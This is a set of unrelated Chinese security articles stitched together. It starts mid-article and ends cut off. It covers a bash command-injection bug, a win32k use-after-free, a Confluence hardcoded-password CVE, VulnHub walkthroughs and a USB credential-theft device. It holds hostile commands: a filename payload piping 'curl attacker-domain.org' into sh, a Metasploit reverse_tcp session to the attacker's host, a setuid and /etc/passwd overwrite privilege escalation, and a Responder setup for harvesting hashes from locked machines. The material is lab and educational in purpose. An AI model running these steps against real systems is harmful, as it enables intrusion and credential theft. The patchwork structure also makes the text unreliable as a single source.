在本质上，这意味着，如果dirname中包含一个双引号，在directory_exists函数内部将移除这个双引号,这发生在l(stat)被调用之前。考虑到我们的原始输入，这意味着dirname包含‘foo’。这个结果在函数里会返回0，因为没有相关文件存在。
返回之前的函数，我们发现在这种情况下，should_expand_dirname不为零，expand_prompt_string函数使用目录名来调用（3130行）。在我们的案例中会发生以下情况
:显示文件没有被找到,我们包含一个’在它的路径中。然而，正确的参数被传递来保证不应该发生命令替换（W_NOCOMSUB）。该函数主要传递参数给expand_word_internal（subst.c：8601）函数,正如我们刚刚发生的，它并没有做正确的事。
**expand_word_internal不转发Flags字段**
通过查看expand_word_internal函数的源码，我们发现有不同情况来处理引号字符串。我们看看下面的代码段，从subst.c：9009开始：
9009 case ’” ’ :
9010 if (( quoted & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && (( quoted & Q ARITH) == 0) )
9011 goto add character ;
9012
9013 t index = ++sindex ;
9014 temp = string extract double quoted ( string , &sindex , 0) ;
9015
9016 /∗ I f the quotes surrounded the entire string , then the
9017 whole word was quoted . ∗/
9018 quoted state = ( t index == 1 && string [ sindex ] == ’ ’ )
9019 ? WHOLLY QUOTED
9020 : PARTIALLY QUOTED;
9021
9022 i f (temp && ∗temp)
9023 {
9024 tword = alloc word desc () ;
9025 tword−>word = temp ;
9026
9027 temp = ( char ∗)NULL;
9028
9029 temp has dollar at = 0; /∗ XXX ∗/
9030 /∗ Need to get W HASQUOTEDNULL flag through this function . ∗/
9031 l i s t = expand word internal (tword , Q DOUBLE QUOTES, 0 , & temp has dollar at , ( int ∗)NULL) ;
在第9014行中，开放（闭合是可选的）引号之间的所有信息都被提取出来。在第9024行会申请一个新的
WORD_DESC结构。相关联的word字段会作相应的设置。但是却从没有设置flags字段。在本质上，即使W_NOCOMSUB被设置为原始字符串，在新创建的字符串中也不会处理Flag标志。在第9031行中，expand_word_interna是递归调用的。但是在这种情况下，将传递’foo’并在命令替换上没有任何限制，这将导致攻击者的命令被执行,执行权限取决于与运行bash的用户。
**影响**
我们认为这个错误的影响是非常高的,假设攻击者在系统上没有权限,它可以释放一个特定名字的文件到一个目录中,并等待管理员来触发漏洞,进行提升权限，尽管该漏洞不允许在文件名中包含一个斜杠,对于漏洞利用这影响不大:
some-very-long-string-nobody-is-going-to-type"’curl attacker-domain.org| sh‘.
**可能的修复**
这个问题和两个不同的错误有关。由于没有更深层次的代码基础知识，我们只能猜测，在递归调用expand_word_internal函数里传递flags可以修复这个漏洞。但是，在directory_exists函数中去引号结合已去引号的字符串也可以修复这个漏洞。
**References**
[1] GNU project. GNU Bash at Savannah git (devel branch). Available at
http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=
74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17. | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/jbZK0w53DTam_FVpLpWYGQ>**
### 1 研究背景
4月1日，以色列安全研究员Gil Dabah在博客上发布了一篇关于win32k漏洞研究文章，描述了如何通过内核对象的Destroy函数和win32k
user-mode callback缓解措施的特性来寻找UAF漏洞的新思路。
为此，启明星辰ADLab对win32k相关内核机制进行研究分析，并对这类漏洞的挖掘思路进行详细解读分析。
### 2 win32k漏洞缓解与对抗
#### 2.1 win32k user-mode callback漏洞
由于设计原因，win32k驱动需要处理很多用户层的回调，这些回调给win32k模块的安全带来了非常大的隐患，并在过去10年时间贡献了大量的漏洞。
为了便于漏洞描述，以如下伪代码进行举例分析。
NtUserSysCall()
｛
PWND p = CreateWindowEx(…);
somecallback();
xxxSetWindowStyle(p);
｝
上述代码执行效果如下图所示，用户层执行的某函数通过syscall传入内核层，当内核层代码执行到somecallback这一句时，用户层可以在用户定义的callback函数中获得代码执行的机会，如果用户在callback函数调用了DestroyWindow函数销毁窗口p，内核层的相应销毁代码将会被执行，p的相应内存被释放，回调执行完毕，NtUserSysCall函数继续执行，当执行到xxxSetWindowStyle(p)一句时，由于p的内存已经被释放从而导致UAF漏洞的产生。
#### 2.2 user-mode callback漏洞缓解机制
为了防止上述问题的产生，微软在对象中引入了一个引用计数（对象+0x8处），对象分配时引用计数为1，当执行对象的Destroy函数时引用计数减1，当引用计数为0时对象会被真正释放。微软通过锁的概念为对象添加和减少引用计数，在win32k中为对象管理引用计数的锁有两种分别是临时锁（相应函数为ThreadLock/
ThreadUnlock）和永久锁（相应函数为HMAssignmentLock/ HMAssignmentUnlock）。经过加固之后代码表现为如下形式：
NtUserSysCall()
｛
PWND p = CreateWindowEx(…);
ThreadLock(p);
Somecallback();
xxxSetWindowStyle(p);
ThreadUnlock();
｝
通过上述代码，可以保证即使callback被执行，p在xxxSetWindowStyle函数执行的时候也不会被释放。
#### 2.3 缓解机制的对抗技术
上一节提到了对象的引用计数，如果对象的引用计数为正，即使执行对象的destroy函数，对象没有真正被释放，仍旧存留在内存中，这种对象被微软开发者称为僵尸（Zombie）对象。一旦僵尸对象的引用计数减少到0它将会消失，但是在此之前它仍旧存在内存中，只是用户层无法访问该对象。
同时为了防止僵尸对象继续存留在内存中，锁的释放函数（ThreadUnlock/ HMAssignmentUnlock）一般会包含对象的释放环节。
对象的Destroy函数还有一个特性就是在释放对象的同时，Destroy函数也会释放对象的子资源，其过程可以简要描述如下。
void xxxDestroyWindow(PWND pwnd)
｛
xxxFW_DestroyAllChildren(); // Destroy child windows, if exist!
if (NULL != pwnd->spmenu) // If there’s a menu, remove and destroy it.
｛
PMENU tmp = pwnd->spmenu;
if (HMAssignmentUnlock(&pwnd->spmenu)) // If it’s still locked
｛
DestroyMenu(tmp); // Try destroying it (it can remain a zombie).
｝
｝
DereferenceClass(pwnd);
if (HMMarkObjectDestroy(pwnd)) // Check for zero refs!
HmFreeObject(pwnd); // Only now free the object and handle pair.
｝
DestroyWindow在第一次调用时释放子资源，一旦窗口不再被引用，句柄管理器就会再次完全销毁它，一般情况下，第二次销毁Destroy函数不会在去处理子资源，因为第一次已经释放了所有的子资源。
但是事情往往不是这么简单，事实上即使是一个已经调用过相应Destroy函数释放的僵尸对象，仍然有机会对其本身进行一些更改（回调之后内核代码仍会对对象进行一些操作），我们把这种情况叫做Zombie
Reload，当该僵尸对象由于引用计数为0而被真正释放时，之前的更改操作将会给内核带来一些隐患。
对于如下代码片段：
ThreadLock(pwnd);
xxxSomeCallback(); // Here we can destroy pwnd from user-mode.
InternalSetTimer(pwnd, ...); // reuse pwnd without check wether it is destroyed
ThreadUnlock();
SomefunctionUseTimer(); //UAF of Timer
我们在用户层回调中对pwnd执行了Destroy函数，然后通过InternalSetTimer为之设置了一个计时器，当ThreadUnlock将pwnd真正释放的时候，计时器也将被释放，那么接下来对计时器的操作将会导致UAF漏洞的产生。
### 3 案例分析
上一节我们讨论了对象的引用计数和锁给对象带来的新的安全隐患，但是真正的挑战在于我们如何确定一段代码中存在漏洞，关键点是确保在unlock函数中释放的对象在运行到有问题的代码时其引用计数应该为1，只有这样我们才能在用户层回调调用其Destroy函数，并通过unlock函数将这个对象真正释放掉（上锁的时候会做+1处理），这也是我们接下来需要讨论的。下面我们通过一个案例来分析漏洞挖掘思路。
#### 3.1 漏洞成因
下图是xxxMnOpenHierarchy函数的代码片段。
图中通过xxxCreateWindowEx可以获得一个返回用户层执行callback函数的机会，xxxCreateWindowEx创建的窗口将作为父窗口`*(struct
tagWND **)(**v3 +
8)`（上图红框）的子窗口，如果我们可以通过ThreadUnlock释放父窗口，那么子窗口v32也会被释放，所以当后续的`safe_cast_fnid_to_PMENUWND`函数将v32作为参数执行时就会产生问题，值得注意的是通过回调释放v32是行不通的，如果这样xxxCreateWindowEx将会返回0，无法通过if判断。
这里的问题就在于如何保证父窗口在ThreadUnlock函数执行的时候引用计数为1，因为要执行xxxMnOpenHierarchy函数需要将父窗口关联到一个menu窗口上，此时父窗口和menu窗口将会被一个永久锁锁住，下面我们介绍如何绕过永久锁。
#### 3.2 漏洞挖掘思路
首先我们创建了g_hMenuOwner和g_hNewOwner两个窗口，其中g_hMenuOwner的菜单句柄为hMenu，它也是g_hNewOwner的所有者。
在上述创建过程中内核通过LockPopuMenu函数分别为hMenu和g_hMenuOwner添加 了永久锁，为了达成释放目的，这个永久锁需要被绕过。
此时锁和所有者的关系是这样的：
接下来我们通过SetWindowsHookEx给窗口添加了WH_CBT钩子，并让窗口进入消息循环中。
SendMessage操作为g_hMenuOwner添加一个临时锁，由于后续的所有攻击都是在message的回调中进行，所以对于g_hMenuOwner来说这个临时锁是无法释放的，如果想要构造一个漏洞利用环境首先需要用一些方法来绕过它。
现在的情况变成了下图所示：
当消息为HCBT_CREATEWND时，我们第一次到达xxxMNOpenHierarchy函数内部的xxxCreateWindowEx。
这里可以通过定义关于HCBT_CREATEWND消息的处理得到执行用户层回调代码的机会，这一步的主要目的是为了获取Menu的Wnd。
当接收到的消息为WM_ENTERIDLE时，我们在窗口的消息回调中通过PostMessage下发消息。
发送消息后，驱动程序来到了xxxMNKeyDown函数内部调用xxxSendMessage处。
通过WM_NEXTMENU消息的回调函数开始为LPARAM赋值，赋值操作是为了修改hMenu的Owner，这样就可以将Owner的临时锁绕过。
此时内核会接到销毁menu的消息，通过用户层的回调函数返回1阻止menu的销毁。
xxxMNKeyDown函数通过UnlockPopupMenu将g_hMenuOwner身上的永久锁被去掉。
取而代之的是g_hNewOwner加上了一个锁，hMenu的Owner也从g_hMenuOwner变 成了g_hNewOwner。
这时，锁的关系变成了：
接下来程序第二次进入到xxxMNOpenHierarchy函数并通过xxxSendMessage发送了消息。
此时通过设置WM_INITMENUPOPUP回调来获得用户层执行的机会，WM_INITMENUPOPUP回调函数通过SetWindowsHookEx函数设置了一个新的hook，目的是为了在xxxMnOpenHierarchy函数创建子窗口的时候获得用户层执行权限。
xxxMnOpenHierarchy函数继续向下执行，再次来到xxxCreateWindowEx处。
xxxCreateWindowEx调用了刚刚设置的回调函数childMenuHookProc。
在回调函数childMenuHookProc中，SendMessage发送了WM_NEXTMENU消息，通过该定义该消息的回调函数再次修改参数LPARAM，这是为了去掉g_hNewOwner身上的永久锁。
Menu的Owner关系再次被改变，xxxMNKeyDown通过函数UnlockPopMenu去掉g_hNewOwner身上的永久锁。并将这个锁重新加在了g_hMenuOwner上。
这个时候，所有的锁都已经转移到了g_hMenuOwner身上，而由于WH_CBT钩子已经被移除，menu将被弃用，g_hNewOwner将把新创建的窗口link到自己身上。这个时候情况变成了下面的样子，g_hNewOwner身上已经没有需要绕过的锁了。
接着childMenuHookProc通过SetWindowsHookEx函数又一次设置了回调函数并通过SetWindowLongPtr函数来调用它，回调函数销毁了g_hNewOwner和xxxCreateWindowEx生成的新窗口。
xxxCreateWindowEx返回的值为ffff871b80239130，这就是xxxCreateWindowEx创建的子窗口。
接下来就可以通过ThreadUnlock来销毁g_hNewOwner和其新创建的子窗口来得到一个UAF漏洞。
### 4 总结
本文对win32k漏洞挖掘新思路进行了详细解读，其中包括将unlock函数和对象的Destroy函数的特性关联在一起，并把对象的子资源作为攻击目标寻找新的攻击面的漏洞挖掘思路。另外，如何通过对象内部的特性去绕过锁对对象的锁定的思路和技巧，也非常具有借鉴意义。
* * * | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/HRqWtQh1q1R--NDIlHLCMA>**
## **漏洞描述**
7月21日，Atlassian官方发布了2022年7月的安全更新，其中涉及到Confluence
Server的多个漏洞，其中CVE-2022-26138为一个硬编码漏洞。
当Confluence Server或Data Center上的Questions for Confluence
app启用时，它会创建一个名为disabledsystemuser的Confluence用户帐户。此帐户旨在帮助将数据从应用程序迁移到 Confluence
Cloud的管理员账号中。该帐户通过使用硬编码密码创建并添加到confluence-users组中，在默认情况下允许查看和编辑 Confluence
中的所有非受限页面。未经身份验证攻击者可以利用所知的硬编码密码登录Confluence并访问该组有权限访问的所有页面。
## **相关介绍**
Atlassian Confluence
Server是澳大利亚Atlassian公司的一套具有企业知识管理功能，并支持用于构建企业WiKi的协同软件的服务器版本。
## **利用范围**
Questions for Confluence app == 2.7.34
Questions for Confluence app == 2.7.35
Questions for Confluence app == 3.0.2
## **漏洞分析**
### **环境搭建**
此次漏洞分析环境可参考[CVE-2022-26134 Confluence OGNL RCE
漏洞分析](http://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247483775&idx=1&sn=2a6eeede0ac6c65900572e07b19f3f8f&chksm=cecd88a2f9ba01b49c1079d1ffcf3d89a4a6792378cd56abf4a29e22727a8a90dee86806b359&scene=21#wechat_redirect)。
进行搭建。分析源码为confluence-questions-3.0.2.jar或者另外两个版本。
### **代码分析**
动态调试之前，在配置文件default.properties中可以找到所创建用户的相关信息，其中的username和password都是固定的。
紧接着在com.atlassian.confluence.plugins.questions.util#BuildInformationManager处打下断点。
开启debug模式，随后在confluence中上传confluence-questions.jar应用。
在安装应用的过程中，会从配置文件中获取到固定的账号信息。
随后进入com.atlassian.confluence.plugins.questions.service.UserCreatorServiceImpl
实例化UserCreatorServiceImpl对象。
继续跟进，会进入下面的addPredefinedPermittedDisabledUser方法。
在此，固定disabledsystemuser用户完成创建并将其添加到confluence-users组。
### **漏洞复现**
成功上传Questions for Confluence应用程序。
使用硬编码密码创建的账号进行登录。
成功登录，且该用户拥有管理员权限。
## **修复建议**
参考官方公告中的修复建议：
更新Questions for Confluence扩展至以下安全版本:
2.7.x >= 2.7.38 (Confluence 6.13.18 到 7.16.2)
Versions >= 3.0.5 (Confluence 7.16.3 之后的版本)
## **参考材料**
1.<https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html>
* * * | 社区文章 |
# 前言
本次一共实战了两个靶机，FourandSix靶机渗透比较简单，但还是值得记录学习，jarbas靶机稍微难度大点但难度也不高。
# FourandSix靶机
## 环境准备
下载FourandSix靶机：<https://download.vulnhub.com/fourandix/FourAndSix-vmware.zip>
下载好后解压，如果安装好了vmware直接点击vmx文件，用vmware运行即可
主机：kali linux 222.182.111.132
靶机 : FourandSix靶机
目标：拿下靶机root权限和里面的flag
## 信息收集
1.确定靶机ip （我是将靶机的网络模式改成nat模式，共享主机的ip，让靶机和主机在同一网段下）
扫描同网段下其余存活主机：
`nmap -sP 222.182.111.1/24`
222.182.111.1为网关地址，222.182.111.254为虚拟机分配ip的结束地址，222.182.111.132为kali地址，所以确定靶机ip为222.182.111.135
2.扫描靶机确定端口及服务
`nmap -sV 222.182.111.135`
可以看到靶机开放了三个端口：22(ssh)，111(rpcbind)，2049(nfs)
## 测试
靶机开放的三个端口，22端口我们不到万不得已，不会去爆破，这里没有常见的http端口，我们去百度下剩下两个端口对应的服务
nfs服务主要是为了服务端和客户端的网络共享，在客户端可以挂载服务端中的共享目录，在这里靶机相当于服务端，该端口开放意味着靶机存在共享目录等着我们去挂载，里面肯定有重要信息。
而rpcbind服务是一个[RPC](https://www.baidu.com/s?wd=RPC&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)服务，主要是在nfs共享时候负责通知客户端，服务器的nfs端口号是什么的。简单理解[rpc](https://www.baidu.com/s?wd=rpc&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)就是一个中介服务。
那现在我们就应该在kali客户端上搭建nfs服务去挂载靶机的共享目录，由于kali默认没有安装NFS客户端工具，需要在kali上安装。
过程如下：
安装nfs-common:
`apt-get install nfs-common`
打开NFS相关配置文件/etc/exports
`leafpad /etc/exports`
并且输入以下内容：
/share1 *(sync,ro) 222.182.111.135(sync,rw) #输出“/share1” 目录，对所有主机可读，对地址为222.182.111.135的主机可读可写,rw表示可读写，sync表示同步写入,数据安全,基本不会丢,但效率低
编辑完成后需要重启服务，先重启rpcbind，再重启nfs
systemctl restart rpcbind
systemctl restart nfs
查看靶机NFS服务器的共享服务器列表
`showmount -e 222.182.111.135`
可以看到/shared目录是共享的
在kali客户端上创建挂载点
mkdir /mnt/share1
mount -t nfs 222.182.111.135:/shared /mnt/share1 #mount命令主要用于挂载文件。这里将靶机nfs服务端的共享文件夹/shared挂载到kali的/mnt/share1目录下
cd /mnt/share1
ls
可以看到有一个img文件，我们将其创建一个USB-stick目录将img文件挂载到里面，看看里面有什么：
mkdir USB-stick
mount USB-stick.img USB-stick
cd USB-stick
ls -al
看到里面是一些图片，并没有什么：
在这里思路断了，卡了很久。原来根目录也是共享的
在/mnt/share1/USB-stick目录下创建一个jlzj的文件夹，尝试挂载根目录
mkdir jlzj
mount 222.182.111.135:/ jlzj #挂载到jlzj目录下
cd /jlzj
ls -la
是个惊奇的发现
我们看看root目录里面有什么
我们看看proof.txt有什么
`cat proof.txt`
5027a37dc785a5d1888bffd4e249e3dd
应该是flag了。
happy hacking！
## 总结
有时候有许多信息都要自己去先学习了才能找到突破口，比如nfs本菜以前从未听过，也是才学习的，不足之处请多指教，不喜勿喷。
# jarbas靶机
## 环境准备
下载jarbas靶机：<https://download.vulnhub.com/jarbas/Jarbas.zip>
主机：kali linux 222.182.111.132
靶机 : jarbas靶机
目标：拿下靶机root权限和里面的flag
## 信息收集
1.确定靶机ip
扫描同网段下其余存活主机：
`nmap -sP 222.182.111.1/24`
确定靶机ip为222.182.111.137
2.扫描靶机确定端口及服务
`nmap -sV -p- 222.182.111.137`
可以看到开放了22(ssh),80(http),3306(mysql),8080(http)四个端口
## 测试
老规矩，我们先访问80端口看看：
一顿查看源代码，查看网络管理器，没发现什么重要的信息，那我们就爆破目录：
`dirb http://222.182.111.137:80 /usr/share/dirb/wordlists/big.txt`
没爆破到什么重要目录，可能是字典不够强大，那我们换一种方式，用扩展名来探测,测试一些常用的扩展名，如php，html等：
dirb http://222.182.111.137:80 -X .php
dirb http://222.182.111.137:80 -X .html #dirb的-X参数，代表匹配扩展名，默认字典是/usr/share/dirb/wordlists/common.txt，dirb自带的公共目录，会将字典内的内容加上扩展名去爆破
common.txt如图所示：
爆破到access.html:
我们看看里面有什么:
发现三组用户名及其密码hash，本菜尝试用md5解密，解密得到三组用户名及密码
tiago:italia99
trindade:marianna
eder:vipsu
尝试在网页登录，连接ssh都不可行
那我们看看8080端口有什么线索：
发现是一个登录页面，我们用三组用户密码尝试，发现最后一组可行，登录成功：
这是一个jenkins平台，Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台。
我们在用metasploit试试看看能否获取会话
google一波，发现默认就有一个模块jenkins_script_console
试一试
依次输入以下命令：
use exploit/multi/http/jenkins_script_console
show options
set target 1
set USERNAME eder
set PASSWORD vipsu
set RHOST 222.182.111.137
set RPORT 8080
set TARGETURI /
show payloads
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 222.182.111.132
exploit
配置完成后为下图所示:
成功拿到了会话:
## 提权
提权方式如下：
我们查看下 /etc/crontab文件，该文件里记录的是隔一段时间执行的一些命令，也就是会记录crontab命令隔一段时间执行的命令的调度表。
可以看到/etc/script/目录下的CleaningScript.sh文件会隔五分钟执行一次，原本是用于每隔五分钟删除访问日志，这个文件的执行权限是root，正因为这个文件的执行权限是root,所以这里有一个思路：
我们上传一个伪造的passwd文件，我们在里面添加一个具有root权限的超级用户jlzj，因为一般的cp拷贝命令是没有权限操作/etc/passwd文件的，所以我们需要将给cp命令添加权限的命令写入CleaningScript.sh文件中，隔五分钟自动执行一次，这样cp拷贝命令执行时具有对/etc/passwd的操作权限，就可以替换掉原来的/etc/passwd文件。那么我们就成为了超级用户了
具体实现过程如下：
将给cp命令加权的命令写入文件：
cd /etc/script/
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
在终端生成加盐的用户名密码hash
touch passwd
leafpad passwd
openssl passwd -1 -salt jlzj abc123 #该命令用于生成hash，-1表示用MD5基于BSD的密钥算法。用户名为jlzj，密码是abc123
将生成的新用户hash加入到伪造的passwd文件中：
接着执行如下命令：
upload /root/passwd /tmp #这里需要先crtl+c退出shell回到会话，再用会话的upload命令上传到/tmp目录下
shell #切换到shell
python -c 'import pty;pty.spawn("/bin/bash")'
在shell执行:
cd /tmp
cp passwd /etc/passwd #拷贝伪造得的passwd文件覆盖原本的/etc/passwd文件
cat /etc/passwd #查看是否拷贝成功
拷贝成功
接下来我们切换到新创建的jlzj用户：
`su jlzj`
输入密码abc123,成功拿到root权限：
接下来切换到root目录下拿到flag.txt即可：
## 总结
靶机总体难度不算难，我认为有三个难点：
1.爆破目录时，也要讲究技巧，不能一味使用字典，当然字典足够强大也可以（嘿嘿，手动滑稽）
2.寻找可用的metasploit的模块
3.最后提权的思路，当然思路可能有其他，那就等待大佬们去发现啦。
本文写的比较琐碎详细，可能比较适合新手，大佬们不喜勿喷哈。
# 参考链接
<http://www.rkali.com/2018/04/20/nfs/>
<https://zhidao.baidu.com/question/617321960475860852.html>
<https://blog.csdn.net/frankarmstrong/article/details/78774679>
<https://baike.baidu.com/item/NFS/812203?fr=aladdin>
<https://www.exploit-db.com/exploits/24272/> | 社区文章 |
# 【技术分享】使用USB伪装成网络适配器窃取系统登录凭证（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：room362
原文地址：<https://room362.com/post/2016/snagging-creds-from-locked-machines/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **Starrk叔叔**](http://bobao.360.cn/member/contribute?uid=2796432887)
**稿费：132RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
使用USB对系统进行入侵已不是一个新鲜的话题，随着这种攻击的普遍化，各大安全厂商也完善了对USB的检测机制。但是来自国外的渗透测试工程师Rob
Fuller采用了另类的方式，通过将USB伪装成网络适配器来窃取系统登录凭证。
一开始，大家觉得使用这种方法是不可行的，在我之前肯定有人对其进行了验证，但是经过我多次测试使我不得不相信这方法的可行性。
给出公式：USB Ethernet + DHCP + Responder == 凭证
**
**
**环境配置**
我使用的是一款名为 [USB Armory](https://inversepath.com/usbarmory)的设备，但同时我会讲解[Hak5
Turtle](http://hakshop.myshopify.com/collections/lan-turtle/products/lan-turtle)设备的使用。我不会逐一讲解这两款设备安装和配置的详细步骤，下面的一些链接能帮到你：
**USB Armory**
Debian/Jessie –
[https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card](https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card)
Kali on USB Armory – [http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory](http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory)
Resizing the SD partition –
[http://base16.io/?p=61](http://base16.io/?p=61)[ki/#!videos.md](https://lanturtle.com/wiki/#%21videos.md)
**Hak5 Turtle**
Turtle video guides and wiki:
[https://lanturtle.com/wiki/#!videos.md](https://lanturtle.com/wiki/#%21videos.md)
**
**
**工具准备**
这里我们需要用到 Laurent Gaffié 所编写的Responder软件，首先，我们把它安装到设备上。Hak5 Turtle已内置了该模块，如图
在此之前确保已经连上了网络，之后选中responder模块， 它会自动下载所有的依赖和软件。为了确保responer能正常运行，我们还需要执行以下命令
opkg update
opkg install python-openssl
而对于USB Armory 你可以选择把它作为业务控制点（SCP）, Inetrnet连接共享（Internet Connection
Sharing）或是USB主机/客户端适配器（USB host/client
adapter）来使用。若是安装的Debian/Jessie系统，默认是没有Python
环境的，需要自行安装各种包和依赖，而对于Kali已自带，在安装过程中确保已连上了网络。
安装代码如下
apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https://github.com/spiderlabs/responder
**设备配置**
**Armory**
虽然配置网络接口不是必须的，但是当我们测试不同系统时，Armory会被分配不同的IP地址，这很有必要设置一个固定的ip地址，将它作为基准。
/etc/network/interfaces/
# interfaces(5) file used by ifup(8) and ifdown(8)# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 192.168.2.201
netmask 255.255.255.0
gateway 192.168.2.1
之后我们配置DHCP 服务器。
/etc/dhcp/dhcp.conf
ddns-update-style none;
option domain-name "domain.local";
option domain-name-servers 192.168.2.201;
default-lease-time 60;
max-lease-time 72;
# If this DHCP server is the official DHCP server for the local# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also# have to hack syslog.conf to complete the redirection).log-facility local7;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.1 192.168.2.2;
option routers 192.168.2.201;
option local-proxy-config "http://192.168.2.201/wpad.dat";
}
这样配置之后，会给所有的DHCP客户端发送代理配置（Proxy Config），为什么要这样做，我也不是很清楚，但是记住一点："DHCP 的优先级高于
DNS：如果 DHCP 提供了 WPAD 链接，DNS不会进行查询"，摘自Wikipedia的WPAD文档。（“DHCP has a higher
priority than DNS: if DHCP provides the WPAD URL, no DNS lookup is
performed.”from [the Wikipedia article on
WPAD](https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol)）
之后，我们配置rc.local文件，让它每次启动时都能自动实现以下功能：
1\. 清除所有的DHCP的leases文件且启动DHCP服务：
因为我们插入拔出USB的频率非常的高，有可能达到DHCP的leases列表的上限，并且有极大的可能性造成一些文件的损坏，所以我们将它们全部删掉然后重新添加。
2\. 开启responder的窗口会话：
将responser的会话日志以Sqlite3数据库格式记录下来。
/etc/rc.local
#!/bin/sh -e
# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases
# Start DHCP server
/usr/sbin/dhcpd
# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0
为了让记录的日志文件的易读性更高，这里追加一个.screenrc文件
/root/.screenrc
# Logging
deflog on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log
大功告成，重启USB Armory然后把它插到任何你想获取凭证的机器上吧。
**Hak5 Turtle**
系统已帮你配置好了大部分设置，但是opkg包需要你手动配置
opkg update
opkg install python-openssl screen
移除 /tmp/ 目录下的符号链接
rm -rf /overlay/etc/turtle/Responder/logs
/overlay/etc/rc.local 文件的配置也稍有不同
/overlay/etc/rc.local
/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder;
python Responder.py -I br-lan -f -w -r -d -F'
**工作原理**
1\.
因为USB是一个即插即用的设备，那就意味着即使系统上了锁，但是驱动一样会被安装，但是这一定存在一个限制，即哪些驱动会被允许在已上锁的系统上安装运行，我相信网络适配器一定在白名单上。
2\. 即使没有打开浏览器或是应用，计算机也会不间断地向外通信，并且绝大多数计算机信任本地网络
3\.
当存在多个网关或是网络连接时，windows会基于权值（metrics）、OSX基于preference进行配置，但是都会默认选择有线且较新较快的设备，那就意味着插入设备之后通过Responder软件，它能够变成网关，DNS服务端，WPAD服务端或是其他。
**测试结果**
插入设备之后，获取到凭据的平均时间大概是13秒，基于不同的系统这个数值会上下浮动。我们可以使用inotify软件观察Responder.db文件的变动，之后关闭Armory。这有助于让我们通过USB的LED灯知道是否获取到了凭证。
这里我们需要安装inotify-tools包，之后把它追加到rc.local文件里
echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'
测试结果如下：
root@wpad:~# sqlite3 /root/responder/Responder.db 'select * from responder'2016-09-04 10:59:43|HTTP|NTLMv2|192.168.2.1||SITTINGDUCKmubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000....
太棒了，成功！
**
**
**演示视频**
**已测试平台**
Windows 98 SE
Windows 2000 SP4
Windows XP SP3
Windows 7 SP1
Windows 10 (Enterprise and Home)
OSX El Capitan / Mavericks
[](https://room362.com/post/2016/snagging-creds-from-locked-machines/) | 社区文章 |
Smarty 是 PHP 的模板引擎，有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2
版本之前，模板作者可以通过制作恶意数学字符串来运行任意 PHP
代码。如果数学字符串作为用户提供的数据传递给数学函数，则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
## 确定攻击方式：
学了这么多SSTI对应的模板，我们现在先放一放Smarty，谈一下如何确定模板类型，从而确定我们下一步的攻击姿势：
我们可以用三种方法来进行测试：
### 第一层：
* 如果可以执行${7 _7}的结果，那我们进入第二层的`a{_ comment _}b`，如果没用执行结果，那就进入第二层的`{{7_7}}`
* 在Mako模板引擎中我们也是${}形式的
### 第二层：
* 在`a{*comment*}b`中，如果{**}被当作注释而输出ab，我们就可以确定这个地方是Smarty模板，如果不能，进入第三层；
* 在`{{7*7}}`中，如果能够执行，那我们进入第三层。
### 第三层：
* 当{{7*'7'}}的结果为49时，对应着Twig模板类型，而结果如果为7777777，则对应着Jinja2的模板类型
* 当能够执行`${"z".join("ab")}`,我们就能确定是Mako模板，能够直接执行python命令.
## Smarty漏洞成因：
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量；显示模板
}
这个地方对应的就是xff头处存在smarty模板，我们可以利用smarty形式来进行攻击。
## 攻击方式：
### 获取类的静态方法：
$smarty内置变量可用于访问各种环境变量，比如我们使用 self 得到 smarty 这个类以后，我们就去找 smarty 给我们的方法:
#### getStreamVariable():
public function getStreamVariable($variable)//variable其实就是文件路径
{
$_result = '';
$fp = fopen($variable, 'r+');//从此处开始对文件进行读取
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
